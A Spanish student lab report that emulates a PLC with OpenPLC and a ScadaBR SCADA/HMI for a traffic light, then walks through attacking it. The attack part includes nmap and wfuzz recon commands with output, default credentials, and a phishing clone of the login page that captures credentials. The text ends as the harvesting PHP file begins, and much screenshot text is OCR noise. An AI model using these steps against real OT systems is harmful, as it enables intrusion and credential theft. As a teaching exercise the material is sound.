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1. RESUMEN

Este proyecto consta de tres partes fundamentales: Emulacién de un PLC, un SCADA
y la demostracién practica de como comprometer un PLC mediante tacticas de hacking
ético.

Emularemos un PLC gracias al software OpenPLC, desarrollaremos un programa el cual

simule el ciclo de las luces de un semaforo y un modo de emergencia que bloqueara la

sefial en la luz roja del semaforo.

Implantaremos un sistema SCADA con SCADABR conectandose a OpenPLC,
supervisando los datos en tiempo real. Crearemos un HMI el cual permita representar y
controlar los elementos del PLC pudiendo activar el modo de emergencia de forma

remota.

Comprometeremos la maquina en la cual OpenPLC esta desplegado mediante el
secuestro de unas credenciales validas, la inyeccién de una reverse shell utilizando
Python a través de OpenPLC ganando permisos root y estableciendo la persistencia en

el sistema.



2. JUSTIFICACION DE PROYECTO

El motivo de la eleccion de este proyecto es mostrar la importancia que tiene la
ciberseguridad a dia de hoy, concretamente en el mundo OT donde la posibilidad de
encontrar una vulnerabilidad y explotarla puede provocar un fallo critico en el sistema,

provocando dafios irreparables.

El objetivo principal de este proyecto es concienciar al mundo corporativo de la
necesidad de invertir en ciberseguridad y bastionado de sistemas y redes OT.



3. OBJETIVOS

Los objetivos a conseguir con este proyecto son los siguientes:

e Emular unared OT no segura compuesta por un sistema SCADA y un PLC.

e Emular un PLC en Linux utilizando OpenPLC.

e Crear un programa funciona con SFC que simule el comportamiento de un semaforo
real.

e Desplegar un Sistema SCADA en Linux utilizando SCADABR.

e Crear un HMI el cual permita controlar el PLC de forma remota.

e Explotar una vulnerabilidad en el PLC consiguiendo inyectar una reverse shell.



4. DESARROLLO
4.1. Red OT

Las redes OT tienen como objetivo comunicar, controlar y supervisar los diferentes
dispositivos que conforman las redes industriales, teniendo como caracteristica su alta
disponibilidad, ya que un fallo en el sistema puede ocasionar la detencién del proceso
industrial, provocando dafios irreparables, por o que necesitan estar protegidas ante
posibles ciberataques. La red OT emulada consta de cuatro elementos: un sistema
SCADA, un PLC, un HMI (Integrado en el SCADA) y un dispositivo a controlar en este

caso un semaforo (Representado en el HMI).

4.1.1. SCADA

Un sistema SCADA tiene como objetivo controlar y supervisar sistemas industriales a
distancia. En la red OT creada se hard cargo de controlar y supervisar los datos
proporcionados por el PLC. El software utilizado para emular el SCADA en Linux sera
SCADABR.

41.2. PLC

Un PLC (Control Logico Programable) automatiza los procesos industriales, definiendo
las funciones que deben realizar las maquinas. En este proyecto vamos a emular un

PLC en Linux usando OpenPLC.

4.1.3. HMI

Un HMI (Interfaz Hombre Maquina) cumple la funcién de intermediario entre el proceso
y el operario. Representa un panel donde el operario puede controlar las diferentes
funciones del proceso industrial, en nuestro caso emplearemos un HMI integrado en el
SCADA.

SCADAY HMI PLC Dlspositivo a controlar




4.2. Topologia

El laboratorio desplegado consta de tres elementos: Un sistema SCADA, un PLC y una
maquina atacante la cual se presupone que ya ha ganado acceso a la red. Este entorno
se caracteriza por no estar bastionado, siendo relativamente facil poder comprometer

las maquinas que lo conforman.

Puerta de enlace

192.168.1.1

scapask  —3PLGI- iy .

Sistema SCADA PLC Maquina atacante
SO: Ubuntu 20.04 SO: Ubuntu 20.04 SO: Kali Linux 2022.1
Software: SCADABR Software: OpenPLC IP: 192.168.1.84
1P: 192.168.1.89 IP: 192.168.1.90
4.3. OpenPLC

Es un software de cédigo abierto el cual emula un PLC siguiendo el estandar IEC 61131-
3, este proyecto consta de dos partes.

4.3.1. OpenPLC Editor

Es un entorno de desarrollo donde se crean los programas para el PLC en los siguientes
lenguajes: ST, IL, SFC, FBD y LD ofreciendo la capacidad de simular los programas,

pudiendo comprobar su correcto funcionamiento desde el mismo editor.

e Instalacion:

Para proceder a la instalacion nos dirigimos a OpenPLC, descargamos la version para

Linux, descomprimimos el zip e instalamos el programa mediante ./install.sh.



e Ejecucion:
Abrimos el programa desde la consola ./openplc_editor.sh o UI.

4.3.1.1. Creacion del programa

El programa que vamos a crear utiliza el lenguaje SFC (Sequential Function Chart) se
caracteriza por ser un lenguaje de programacién gréfico y secuencial usado para la

programacion de los PLC.

4.3.1.2. Explicacion del programa:

Podemos dividir el programa en dos funciones, una funcién pasiva y una funcién activa.

La funcién pasiva consiste en el flujo normal del programa, es decir, esta compuesto por
tres leds que corresponden a tres variables: Luz_roja, Luz_verde y Luz_ambar, el
programa inicia desde el Paso_0 el cual hace referencia a la Luz_roja teniendo como
estado inicial Verdadero equivalente a 1 en sistema binario, el programa al seguir el flujo
Se encuentra con una transicion la cual tiene un tiempo estipulado de 6 segundos entre
la transicién del paso_0 al paso_1, una vez transcurrido ese tiempo la Luz_roja pasa a
estado falso equivalente a 0 en estado binario y se activa el Paso_1 provocando que la
Luz_verde pase a estado Verdadero/l, este proceso se repite de forma ciclica

cambiando el estado de la Luz_roja, Luz_verde y Luz_ambar.

La funcién activa consiste en la activaciéon de un modo de emergencia el cual provoca
que la Luz_roja del seméaforo quede blogueada en estado Verdadero/l, se logra
mediante una variable llamada Modo_de_emergencia, tiene un estado por defecto de
Falso/0 y se encuentra en todas las transiciones, en el caso de la transicién de Luz_roja
a Luz_verde se tiene declarado que si el Modo_de_emergencia esta en estado
verdadero/1 el flujo quede detenido hasta que cambie al estado falso/0, si el flujo del
programa se encuentra en cualquier otra transicion se declara que se salte todos los

pasos hasta que se encuentra con la declaracion que bloquea el flujo.



4.3.1.3. Codigo

Podemos dividir el cédigo en diferentes componentes.

Paso y la accion a realizar, en este caso si se encuentra en el Paso_0 Luz roja debe ser
verdadera/1:

Pazal Luz_roja

Transicion:

Pa=so_0

Temporizador el cual controla el tiempo que transcurre entre transiciones:

TOND

Paso_0O

T
40

IN Q|

oT BT

T#6s

Operadores l6gicos AND, NOT, OR:

AND OT OR

ouT — IN1 OUT [—

— IN2

_lm our — IN

— | IN2

Variable del modo de emergencia:

Modo_de_emergencia
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En el cadigo final se puede observar como si el Modo_de_emergencia pasa a modo
verdadero, saltaria todos los pasos hasta bloquear el flujo del programa, provocando
que Luz_roja estuviese en estado verdadero de forma permanente, en el momento que

Modo_de_emergencia pasa a estado falso/0 el flujo del programa sigue transcurriendo

con normalidad.

Pasol M| Luz_roja
| Paso_0
Paso_0 TONC
TON
In g
PT ET |-
AMD
T46s IN1 OUT |— ™=
INz2
MOT
Modo_de_emergencia - P . p——
- = - IN OUT Pasol Luz_werde
Faso_1
FPaso_1 TONL
TON
Im g
PT ET |- o=
IN1 OUT |— ™™
INz
T#6s
Modo_de_emergencia
Paso_2 ToN2 Paso? N [Luz_ambar
TON 0] Faso_2
g
PT ET |-
OR
T#3s INI QUT -
M2
Modo_de_emergencia

VPaSDC-

11



En la siguiente imagen podemos observar la declaracién de las variables haciendo

referencia a las luces, botén de emergencia, pasos y temporizadores.

# Nombre Clase Tipo Ubicacidn Valor Inicial Opcidn Documentacion
1 Luz roja Local BOOL %QX100.0
2 Luz_verde Local BOOL %QX100.1
3 | Luz_ambar Local BOOL %QX100.2
4 Modo_de eLocal BOOL %QX100.3
5 Paso 0 BOOL

6 Paso 1 Local BOOL

7 |Paso 2 Local BOOL

8 TONO Local derived

9 [ TON1 Local derived

10 TON2 Local derived

Podemos simular el cédigo y exportarlo a OpenPLC para emular el PLC mediante este

mend.

A4 O

Al simular el programa podemos obtener el siguiente error:

tos/Semaforos/build/plc.st:106-12..106-18: error: invalid specific

Para depurar el error debemos realizar estos cambios respecto al cédigo, aunque se
nos genere un error el programa creara un archivo .st con las instrucciones de ejecucion
en /buid/ generate_plc.st.

Editamos el archivo con sudo nano generate plc.st y debemos igualar todas las
variables TON que estén igualadas a derived a TON:

Cadigo sin depurar Cédigo depurado

VAR b
Paso 8 : BOOL; Paso_0 : BOOL;
Paso 1 : BOOL; Paso_1 : BOOL;
Paso 2 : BOOL; Paso_2 : BOOL;
TON® : derived; Uliler 3 107
TON1 : TON; TON1 : TON;
TONZ2 : TON;
NOT8 _OUT : BOOL;
AND13 OUT : BOOL;
OR16 OUT : BOOL;
OR24 OQUT : BOOL;
END VAR

TONZ : TON;

NOT8_OUT : BOOL;

AND13 OUT : BOOL;

OR16_0UT : BOOL;

OR24_0OUT : BOOL;
END_VAR

12



En este momento ya disponemos de un archivo .st valido el cual podemos subir a
OpenPLC Runtime.

4.3.2. OpenPLC Runtime

Los programas creados en el OpenPLC editor se pueden ejecutar En el OpenPLC
Runtime, el cual cumple la funcion de un PLC emulandolo, dispone de un servidor web

montado en el puerto 8080 que permite subir los programas, compilarlos y ejecutarlos.

e Instalacion:
1- Para instalar el OpenPLC Runtime hacemos un git clone al github del creador

https://github.com/thiagoralves/OpenPLC v3.qit

2- Por defecto se instala en el localhost y por el puerto 8080, es decir, 0.0.0.0:8080 en
este caso al querer acceder desde un host externo nos debemos dirigir a la ruta
/OpenPLC_v3/webserver y editamos el archivo webserver.py con sudo nano
webserver.py, filtramos por la palabra host ubicada en la linea 2406 dandole la ip de

la maquina:

app.run(debug= , threaded= , port=80860)

3- Ejecutamos el Instalador usando ./install.sh Linux

4- Lo iniciamos con ./star_openplc.sh, este servicio por lo general se activa
automaticamente cuando arrancamos Ubuntu, por lo que estaré siempre activo y
se ubica en el 192.168.1.90:8080.

4.3.2.1. Login

Accedemos desde el navegador web a la direccion 192.168.1.90:8080 que nos

redirecciona al login con credenciales: openplc/openplc:

Welcome to OpenPLC

Use your credentials to login

openplc

LOGIN

13


https://github.com/thiagoralves/OpenPLC_v3.git

4.3.2.2. Subir el programa

Una vez Instalado y configurado OpenPLC, desde la pestafia programas podemos subir

el generate_plc.st antes depurado, el software compilard el programa de forma

automatica.

_I*Pl[”_ Compiling: Semaforos

£ Dashboard Compiling program
<.f> Programs optimizing ST program...
Generating C files...

* Slave Devices

& Monitoring ;r:z«;;z;\smmj\m.[ﬁ,h
VAE .esv
Configh.c
Configh.h

esl.c
A& users R

Moving Files...

\\ Settings Compiling for Linux
Generating cbject files...
E Logout Generating glueVars...
varName: _ Q¥100_0 varType: BOOL

varName: __Qx100_1 varType: BOOL
1 _QX100_2 varType: BOOL
: __ox100_3 varType: BOOL

iling main program...

Compilation finished successfully!

4.3.2.3. Puesta en marcha

Go to Dashboard

p——

En este momento ya podriamos Iniciar el PLC pulsando el boton START PLC, arrancaria

guedandose en escucha por los puertos configurados, en nuestro caso tenemos los
puertos por defecto: Modbus:502, Interactive Server:43628, DNP3:20000. Para conectar

con SCADABR solo nos interesa el protocolo Modbus.

~| I.EF Semaforos

M Dashboard Dashboard
Status: Running

&> Programs

Program: Semaforos

* Slave Devices _—
Description:

L& Monitoring File: 2194115t

Runtime: 18 seconds

Hardware

Users

Settings Runtime Logs

Logout

CpenP1C Runtime starting...

PSM: Starting PSM...

Interactive Server: Listening on port 43628

. Issued start_modbus () command to start on port: 502
Status: Running Server: Listening on port 502
Server: waiting for new client...
Stop PLC Issued start_dnp3() command to start on port: 20000
DNP3 ID manager: Starting thread (0)

DNP3 ID DNP3_Server: Listening on: 0.0.0.0:20000
Issued start_enip() command to start on port: 44818
Server: Listening on port 44818

Server: waiting for new client...

Issued stop_pstorage() command

PSM: Connection to psm failed

Copy logs

14
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4.3.2.4.Video explicativo de OpenPLC Runtime.

En este video se muestra el proceso a seguir a la hora de emular un PLC con OpenPLC
Runtime, explicando como subir un archivo .st, Iniciar el PLC y el funcionamiento del

programa observandolo desde la pestafia monitoring.

N Dusboarn
& Progrars
B S Dove
N Aortung &
D tarzware

& lues

N Sattinge

-
€ togmes

Katak Ademmy

e A
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https://www.youtube.com/embed/YJ-FOQUgQpI?feature=oembed

4.4. SCADABR

Es un sistema SCADA de software libre el cual ha sido desarrollado por CERTI, se ha
elegido este software, ya que se caracteriza por su buena compatibilidad con OpenPLC.

e Instalacion:
VVamos a instalar la version 1.2 de SCADABR;

1- Hacemos un git clone a https://github.com/ScadaBR/ScadaBR _Installer.qit.

2- Damos permisos con chmod +x a ./install_scadabr-sh.

3- Ejecutamos el instalador.

4- En el proceso de instalacién se nos preguntard por el puerto y las credenciales para
Tomcat en nuestro caso puerto:8080 y credenciales: luis/luis.

5- Iniciamos SCADABR con ./scadabr.sh start (también tenemos stop|restart|status).

4.4.1. Login

Accedemos a Tomcat con localhost:8080, y nos dirigimos a manager app, haciendo
login con las credenciales indicadas en la instalacion, en nuestro caso luis/luis, en este

momento podemos ver que tenemos una aplicacion /ScadaBR, accedemos.

SCADd

D YY)

Iniciar Sesidon

ID de Usuario

‘admin ‘

Contrasefia

Iniciar Sesion

©2009-present Fundagio Certi, MCA Sistemas, Unis Sistemas, Conetec. ©2006-2011 Serotonin Software Technalogies Inc., todos los derechos reservades.
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https://github.com/ScadaBR/ScadaBR_Installer.git

4.4.2. Fuente de datos

4.4.2.1. Conectar con la fuente de datos

Para que el SCADA cumpla su funcion necesita recibir los datos del PLC, por lo que

debemos agregar una fuente de datos que apunte a la maquina virtual del OpenPLC,

conectaremos con el PLC por el protocolo Modbus IP.

Agregamos la fuente configurando los datos necesarios, como el tipo de transporte, la

direccion de la maquina OpenPLC vy el puerto por el cual esta en escucha mediante el

protocolo modbus.

* Informacion

ScadaBR 1.2

Alarmas actuales

No hay alarmas activas para esta fuente de datos

)

o E&Y=2BasdE BR800 O

Usuaric: admin ﬁg @"

Nombre

ID de Exportacion (XID)
Periodo de actualizacion
Quantize

Tiempo de espera (ms)
Reintentos

Solo lotes contiguos

Crear puntos slave monitor
Lectura maxima de numero de bit
Lectura maxima de registros
Escritura maxima de registros
Tipo de Transporte

Servidor

Puerto

Encapsulado

Create connection monitor point

Excepcion de la fuente de datos

'“ propiedades Modbus IP &
La fuente de Datos ha sido guardada

L.

B

Exploracion de nodos Modbus

Leer datos Modbus

|Exn|uracién de nodos HCanceIar|

[=]
°
]
3
3
=2
2]

D5_168142

|500 || milisegundos(ms)

v

1000

Nodos encontrados

Niamero de registros

Rango de registro ‘ Bobina {Coil Status)

100

}IIIIEI D{ID

ID de esclavo

Rango de registro

=] Niveles Eventos de los niveles de alarma

Excepcion en la lectura del Punto q
Excepcion en la escritura del Punto | Urgents w ‘:'7

Prueba de localizacion de punto

[ Bobina (Coil Status)

Puntos

|_Nombre | Tipo de Dato | Estado | Esclavo | Rango | Offsct (basc 0) ||

17

2000 Tipo de dato Modbus | Binario v |
= e —
192.168.1.90 . sn de ASCIl
502 Agregar punto|
a
L]




En este momento SCADABR mandara una peticion por el protocolo Modbus IP la cual

OpenPLC aceptara creando una id de sesion.

—| Plﬂl‘ Semaforos OpenPLC User .

Dashboard

ﬁ- Dashboard

Status: Running

P> Programs

Program: Semaforos
* Slave Devices Description:
L Monitoring File: 210411 st

HEmEne Runtime: 10 minutes, 19 seconds

Users

Settings Runtime Logs

Logout Server: Listening on port 502

Server: waiting for new client...

Issued start_dnp3() command to start on port: 20000

DNP3 ID manager: Starting thread (0)

Status: Running DNP3 ID DNP3_Server: Listening on: 0.0.0.0:20000

PSM: Connection to psm failed

Stop PLC BPSM: Error connecting to psm!

PSM: PSM is disabled

Skipping configuration of Slave Devices (mbconfig.cfg file not found)
Warning: Persistent Storage file not found

Server: Client accepted! Creating thread for the new client ID: 15...
Server: waiting for new client...

Server: Thread created for client ID: 15

Copy logs

4.4.2.2. Leer los datos

Para poder leer los datos por Modbus desde SCADABR debemos aplicar la siguiente

férmula a la ubicacién de las variables del programa PLC:

QX100.0 To Modbus
100x8+0 = 800

Luz_roja BOOL %QX100.0 No O TRUE
Luz verde BOOL %QX100.1 No @ FALSE
Luz_ambar BOOL %QX100.2 No G FALSE
Modo_de_emergencia BOOL %QX100.3 No @ FALSE

18



Aplicando la férmula obtenemos los siguientes resultados:

CONVERSION DE VARIABLES

Luz_roja 800
Luz_verde 801
Luz_ambar 802

Modo_de_emergencia

803

Conociendo la equivalencia a Modbus podemos leer los datos usando el apartado “Leer
datos Modbus”.

®

Alarmas actuales @

No hay alarmas activas para esta fuente de datos

FE%#i09=B8 98?2, ,0800e

* Informacién

2 propiedades Modbus 1P &
La fuente de Datos ha sido guardada

3

(=]

Exploracion de nodos Modbus

Exploracion de nodos || Cancelar

Nombre [OpenPLC

I{

ID de Exportacion (XID) |D5_168142

Periodo de actualizacién |500 H milisegundes(ms)

v]

Quantize

Tiempo de espera (ms)

Modos encontrados

800 === false
801 === true

Reintentos

Sdlo lotes contiguos

Crear puntos slave monitor
Lectura maxima de nimero de bit

Lectura maxima de registros

=1 =] I
IIImiDD{iD
S 5}

Escritura maxima de registros 20
Tipo de Transporte
Servidor |192.168.1.90
Puerto |502
Encapsulade [ ]
Create connection moniter peint D

] Niveles Eventos de los niveles de alarma

a
Excepcion en la lectura del Punto =
Excepcion en la escritura del Punto| Urgente v |“1

Excepcion de la fuente de datos

802 === false
803 === false
604 false
805 false
BO& false
B07 === false
B08 === false
809 === false

813 === false

Offset (base 0) |8

00

Leer datos Modbus

Rango de registro ‘ Bobina (Coil Status)

Prueba de localizacion de punto

ID de esclavo

Rango de registro
Tipo de dato Modbus
Offset (base 0)

Bit

Nimero de registros

Ci on de

localhost:8080/ScadaBR/scripting.shtm

[ Babina (Coil Status)

| Binario

—
—
—

19
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Una vez hemos leido los datos podemos ver como el equivalente al 801 esta en modo
verdadero/1 por lo que podemos corroborar que los datos se leen de forma correcta, en

este caso el 801 equivale a la luz_verde por lo que esta estaria encendida.

4.4.2.3. Agregar los puntos

En este momento vamos a afiadir los puntos que sefalan a las variables del programa.
Para configurar un punto debemos modificar el nombre, el rango de registro y el offset
(base 0) que equivale a la direccion del elemento aplicando la formula anteriormente

mencionada, desde el menu “Puntos/Detalles_de Puntos”.

Crear puntos siave monior
P () B06 === false

807 === false
808 === false
809 === false
B10 === false
Bll === false
B12 === false

Lectura maxima de numero de bit |2000

I

Lectura maxima de registros

Escritura maxima de registros

Tipo de Transporte
Servidor
Puerto

Encapsulado

Create connection monitor point

TCP con keep-alive

192.168.1.90

=
[
o |

n
=1
"

(]

a

813 === false

Prueba de localizacion de punto

ID de esclavo
Rango de registro

Tipo de dato Modbus

[ Bobina (Coil Status)

<

| Binario

I Niveles Eventos de los niveles de alarma
Excepcion de la fuente de datos Urgente

Excepcion en la lectura del Punto Urgente

[
= = =

Excepcion en la escritura del Punto | Urgente

Codificacion de caracteres |ASCI

Puntos

=

Detalles de Puntos &
Nombre
1D de Exportaciéon (XID)
ID de esclavo

Rango de registro

Luz_roja

DP 575395

[ Babina (Coil Status)

Tipo de dato Modbus Binario
Offset (base 0) | 300
Bit 0

Numero de registros 0
Codificacion de caracteres
Modificable

Multiplicador |1

Aditive |0

©2009-present Fundagae Certi, MCA Sistemas, Unis Sistemas, Conetec. ©2006-2011 Serotonin Software Technalogies Inc., todos los derechos reservados.
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Repetimos este proceso con todas las variables activando todos los puntos, obteniendo

el siguiente resultado:

Puntos
ml
Luz ambar Binario i gf;':; (Coil a0z ,,)
Luz_roja Binario & 1 E;TS:’ L2 800 i
Luz_verde Binario ¥ 1 EEETS; (Coil 801 5
Modo_de_emergencia Binario ¢ 1 Efabti:; (Coil 803 3

4.4.3. Lista de supervisiéon

Una vez afadidos los puntos, desde el menu de lista de supervision podemos visualizar
los datos que nuestro PLC envia a SCADABR, en nuestro caso serd el estado de las
variables, es decir, si se encuentran en verdadero/falso o 1/0.

&« a U O =% localhost:8080/ScadaBR/watch_list.shtm b = =
ScaDa ScadaBR 1.2
L |-u- lU‘q.@J:a,l&H HEAR fﬁggl Usuario: admin 4 2 BB @

Puntos L] Lista de Supervisién & Lok
() OpenPLC - L b s =
S Tpent s embar 4 OpenPLC - Luz_roja 1 17:40:17 Do

¢ penPLC - Luz_roja -

() OpenPLC- Luz_verde ' OpenPLC - Luz_verde [ 17:40:17 Pave

&3 OpenPLC - Modo_de_emergencia .
4 OpenPLC - Luz_ambar 0 17:40:17 P av o
" OpenPLC - Modo_de_emergencia o 17:40:17 Pae

Desdeljun v|[12 v].[18 v]:[a8 v]:[43 v] Orrimero

Hasta 2022 Jun ~ | 13 v , 16 w : 43 v : 00 v [ Ultimo

Grifico & D]

©2009-present Fundagao Certi, MCA Sistemas, Unis Sistemas, Conetec. ©2006-2011 Serotonin Software Technologies Inc., todos los derechos reservados.
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4.4.4. HMI

SCADABR dispone de una herramienta integrada llamada “vistas gréaficas” la cual nos
permite crear un HMI que nos permitira representar y controlar los diferentes dispositivos
conectados al PLC, en este caso, las luces de un semaforo y un boton de emergencia.

4.4.4.1. Objetivo

El resultado final sera parecido a la siguiente imagen, donde las luces de los semaforos
irhn cambiando de color, si pulsamos el botdn de modo de emergencia pasara al modo

activado provocando que las luces del seméforo se pongan en rojo hasta desactivarlo.

O Modo de Emergencia desactivado
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4.4.4.2. Imagen base

Partimos de una imagen base donde se construira la estructura del HMI.

4.4.4.3. Agregar las luces del seméforo

Los primeros puntos que vamos a agregar seran los leds de los semaforos, es decir:
Luz_roja, Luz_verde y Luz_ambar, estos son graficos binarios donde una imagen del
led apagado correspondera al estado O/falso y una imagen del led encendido
corresponderd a 1/Verdadero, para agregar estos puntos seguimos los siguientes

pasos:

1- Seleccionamos el tipo de componente y lo afiadimos:

Componentes: | Grafico Binario v| ﬁ!i

Bokon (escritura)
Bokdn para Scripk
Compaosicion simple
Grafico Analdgico

Grafico Binario
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2- Sobre el nuevo punto seleccionamos la primera opcién a editar y apuntamos al

punto deseado:

¥ Grafico Binario = X

Punto | OpenPLC - Luz_roja v|

Reemplazar Nombre del Punto | |

Configuracion de sobrescritura [

Color de Fondo | |

Controles de Pantalla D

3- En la segunda opcién de edicion, seleccionamos el tipo de luces que queremos
para los dos estados del gréafico, falso/O y verdadero/1:

™ &rafico Binario = %
Mostrar texto ||

Configuracion de Imagen | Leds32 (15 imagenes) W |

imagen para e cero '©©©©(
imagen para el uno i@@@@

4- Repetimos el mismo proceso con todas las luces obteniendo lo siguiente:

4.4.4.4. Agregar el boton de emergencia

Este boton tiene como funcion activar el modo de emergencia, cuando el estado es igual
averdadero/1 se activara la Luz_roja de forma permanente hasta que se vuelva a pulsar,
volviendo al estado falso/0, para ello vamos a seguir estos pasos:
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1- El componente sera del tipo Botdn (escritura):

Componentes: | Boton (escritura) vl s

2- Apuntamos al punto que corresponda:

¥ Boton (escritura) B b 4

Punto | OpenPLC - Modo_de_emergencia |

Reemplazar Nombre del Punto | |

Configuracion de sobrescritura D

Color de Fondo | |

Controles de Pantalla D

3- Definimos el cuadro de texto que queremos tener en ambos estados verdadero/falso

0 1/0 y las dimensiones del cuadro de texto:

= Boton (escritura) B b 4

Texto (para conectado/verdadero/1) |-:|dn de emergencia acti'.rau:lcu|

Texto (para desconectado/falso/0) || de emergencia desactivadn|

Altura (30 |

Longitud |200 |

4- Tendremos como resultado el siguiente cuadro de texto que se activa con un click:

a. Activado:

Modo de emergencia activado

b. Desactivado:

Modo de emergencia desactivado

5- Como complemento vamos a agregar un led que indique cuando esta activado el
modo de emergencia, haciendo que en el modo desactivado sea blanco y en el modo
de emergencia activado parpadeé en azul, debemos seguir los mismos pasos que
con los leds anteriores, obtenemos el siguiente resultado:
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a. Desactivado

' . Modo de emergencia desactivado

b. Activado:

[ - Modo de emergencia activado

6- Guardamos los cambios.

En este momento contamos con un HMI funcional en SCADABR desde el cual podremos

controlar OpenPLC de forma sencilla, visual y remota.

4.4.4.5.Video demostrativo HMl y SCADABR
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https://www.youtube.com/embed/GYZ-40o7csU?feature=oembed

4.5. Comprometer OpenPLC mediante RCE Autenticado

Comprometeremos el equipo en el cual OpenPLC esté instalado obteniendo el control
total del sistema, el vector de ataque que se seguira es el siguiente: Secuestro de
credenciales mediante un phishing dirigido al operario, autenticacion en la Ul de
OpenPLC activando el médulo Hardware/OpenPLC_Hardware_Layer/PSM el cual
permite ejecutar codigo Python, por ultimo, inyectaremos una revershell la cual mandara

una shell a la maquina atacante con permisos root.

Atacante

192.168.1.84 1 Email con el 2 Inserta las
- phising credenciales
KALI WINUK
3 Secuestro de las
4 Accedemos a credenciales
OpenPLC

192.168.1.90:8080

5 Injectamos la 6 Ganamos acceso
reverse shell en e 1:]_ o E root a la maquina
python

—_—

7 Generamos
persistenca en el
sistema

4.5.1. Reconocimiento

En este ataque se dispondra de acceso previo a lared en la cual queremos comprometer
a los diferentes activos, hemos realizado un reconocimiento previo observando los hosts

activos.

1- Escaneamos toda la red conformada por los 256 hosts con:

-T5 192.168.1.8/24 —vvv
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Gracias a nmap podemos hacer un escaneo de red observando los puertos abiertos,
servicios, posibles vulnerabilidades y scripts para obtener informacién o comprometer el
sistema, en nuestro caso utilizamos -T5 para realizar un escaneo de alta velocidad
ocasionando mucho ruido en la red, el cual no provocara ningun problema, ya que
estamos en un entorno controlado. -VVV hace referencia a que muestro por pantalla

toda la informacién del proceso. Obtendremos lo siguiente:

Nmap scan report for 192.168.1.89

Host is up, received syn—-ack (©.8813s latency).
Scanned at 2022-86-15 15:47:55 CEST for 1s

Mot shown: 998 closed ports

Reason: 998 conn-refused

PORT STATE SERVICE REASON

B@/tcp open http syn—ack

gese/tcp open http-pro syn—ack

Nmap scan report for 192.168.1.98@

Host is up, received conn-refused (@.80869s latency).
Scanned at 2022-86-15 15:47:55 CEST for 1s

Mot shown: 999 closed ports

Reason: 999 conn-refused

PORT STATE SERVICE REASON

B@BO/tcp open http-proxy syn—ack

Con esta informaciéon podemos determinar que en estas dos maquinas se encuentran

desplegados dos servidores http por el puerto 8080.

2- Podemos realizar un escaneo mas detallado donde con nmap lancemos diferentes
scripts a los puertos/ips seleccionados:

-sCV -0 —p 88,8080 192.168.1.89 192.168.1.98

httpd 2.4.41 ((Ubuntu))
41 (Ubuntu)
)efault Page: It works
http mcat 9.
: Apache To

(Oracle VirtualBox virtual NIC)
unreliable bec we could not find at least 1 open and 1 closed port

linux:linux_kernel:5

STATE SERVICE VERSION

closed http
/tcp open  http Werkzeug httpd 1.0
| http-title: Site doesn't h

resourcepiEk
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Mediante la informacién obtenida podemos seguir recopilando datos accediendo a
los servidores webs encontrados.

Accediendo al servidor web 192.168.1.90:8080 podemos observar como nos

redirecciona de forma directa al login de un software llamado OpenPLC.

Welcome to OpenPLC

Use your credentials to login

Accedemos al servidor web ubicado en 192.168.1.89:8080 sin embargo nos dirige a

la pagina principal de Tomcat el cual se utiliza para compilar y ejecutar aplicaciones

web creadas en java.

Home Documentation Configuration Examples Wiki

Apache Tomcat/9.0.52

Developer Quick Start
Tomeat Sewp
First Web Application

Release Notes
Changelog
Migration Guide
Security Notices

Recommended Reading:

Security Considerations How-To
Manager Application How-To
Clustering/Session Replication How-To

Reaims & AAA
JDBC Datasources.

Mailing Lists Find Help
# reachE
Server status
ager App
Host Manager
Exampies Serviet Specincatons

Tomeat Verstons

Documentation Getting Help

Tomeat 9,0 Documentation FAQ and Mailing Lists
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e Al conocer las redes industriales podemos sospechar que este servidor web es el
SCADA pudiendo suponer mediante una investigacion previa que se trata de
ScadaBR, ya que OpenPLC trabaja de forma habitual con este software opensource
por su buena compatibilidad. Podemos dirigirnos al login para acceder a la interfaz
web con http://192.168.1.89:8080/ScadaBR/ al no disponer de credenciales validas

deberiamos tratar de hacer login con las credenciales por defecto admin/admin u

obtener unas vélidas mediante un ataque, pero en este caso solamente trataremos

de comprometer OpenPLC.

Iniciar Sesién

ID de Usuario

Contrasefia

D)

Iniciar Sesion

4- Al no disponer de las credenciales necesarias para acceder a OpenPLC podemos
realizar un escaneo de directorios web mediante fuerza bruta, en este caso

utilizaremos wfuzz y un diccionario compuesto por 226054 directorios comunes:

—-c —hc 484 -u "http://192.168.1.90 8/FUZZ" —w fusr/share/wordlists/dirbuster/directory-1list-2.3-medium.txt

En el punto por el cual queramos inyectar las palabras debemos utilizar “FUZZ". El
parametro -c muestra a color los elementos, --hc 404 nos oculta todas las respuestas
del servidor que sean iguales a 404, la cual significa ruta no encontrada, con -w

indicamos que diccionario queremos utilizar.
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http://192.168.1.89:8080/ScadaBR/

El escaneo nos devolvera el siguiente resultado:

Target: http
Total reques

eativecommons.org/licenses/by-sa/3.0/"

"# on atleast 2 different hosts"

"# Priority ordered case sensative list, where entries were found"
g

"“# Suite 3@@, San Francisco, California, 94185, USA."

"# Attribution-Share Alike 3.8 License. T ew a copy of this"
"# This work is licensed under the Creative Commons"

"# or send a letter to Creative Commons, 171 Second Street,"
g

g

"login"

"users"

"hardware"

"programs"

"logout"

"settings"

"dashboard"

"monitoring"

L
L
L
(L
L
L
L
L
L
L
L
L
L
L
7

3

oeeeelse
0000829
eeeee3

Frrrrrrerr-

00004524@:

-

"http://192.168.1.90:88808/"

Total time: @
Processed Request
Filtered Requests:
Requests/sec.: @

Gracias a esta informacién se deduce, el codigo 302 indica que ese directorio esta
siendo redirigido a otro, por lo tanto, esa ruta existe, pero en este caso te redirecciona

al login evitando el bypass.

4.5.2. Vectores de ataque para la obtencién de credenciales

Con esta informacién podemos definir dos vectores de ataque para conseguir las
credenciales necesarias. En primer lugar, podremos intentar acceder mediante las
credenciales por defecto definidas por el software, en este caso son openplc/openplc.
En segundo lugar y el elegido para esta demostracién crearemos un phishing el cual
sera enviado al operario, al ser introducidas las credenciales estas seran secuestradas

por el atacante sin que el operario se percate.
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4.5.3. Creacion del phishing

El codigo HTML que utilizaremos como base para la creacion del phishing sera extraido
directamente del propio servidor web OpenPLC, podemos descargar este cédigo de la

siguiente forma:

http://192.168.1.98: 8888/ login
—2822-86-15 19:33:52— http://192.168.1.90:8080,/login
Conectando con 192.168.1.98:80880... conectado.

Peticion HTTP enviada, esperando respuesta... 280 OK
Longitud: 4558 (4,4K) [text/html]
Grabando a: “login”

Disponiendo del cédigo fuente pasaremos a editarlo, cambiaremos el método por el cual
el formulario envia las credenciales de POST a GET y el archivo PHP al cual apunta el
formulario del login, este archivo se encargara de almacenar las credenciales en otro
fichero llamado diccionario.txt y de redireccionar al operario al login legitimo de
OpenPLC (http://192.168.1.90:8080/login).

t OpenPLC.php

File: OpenPLC.php
Size: 302 B

<?php
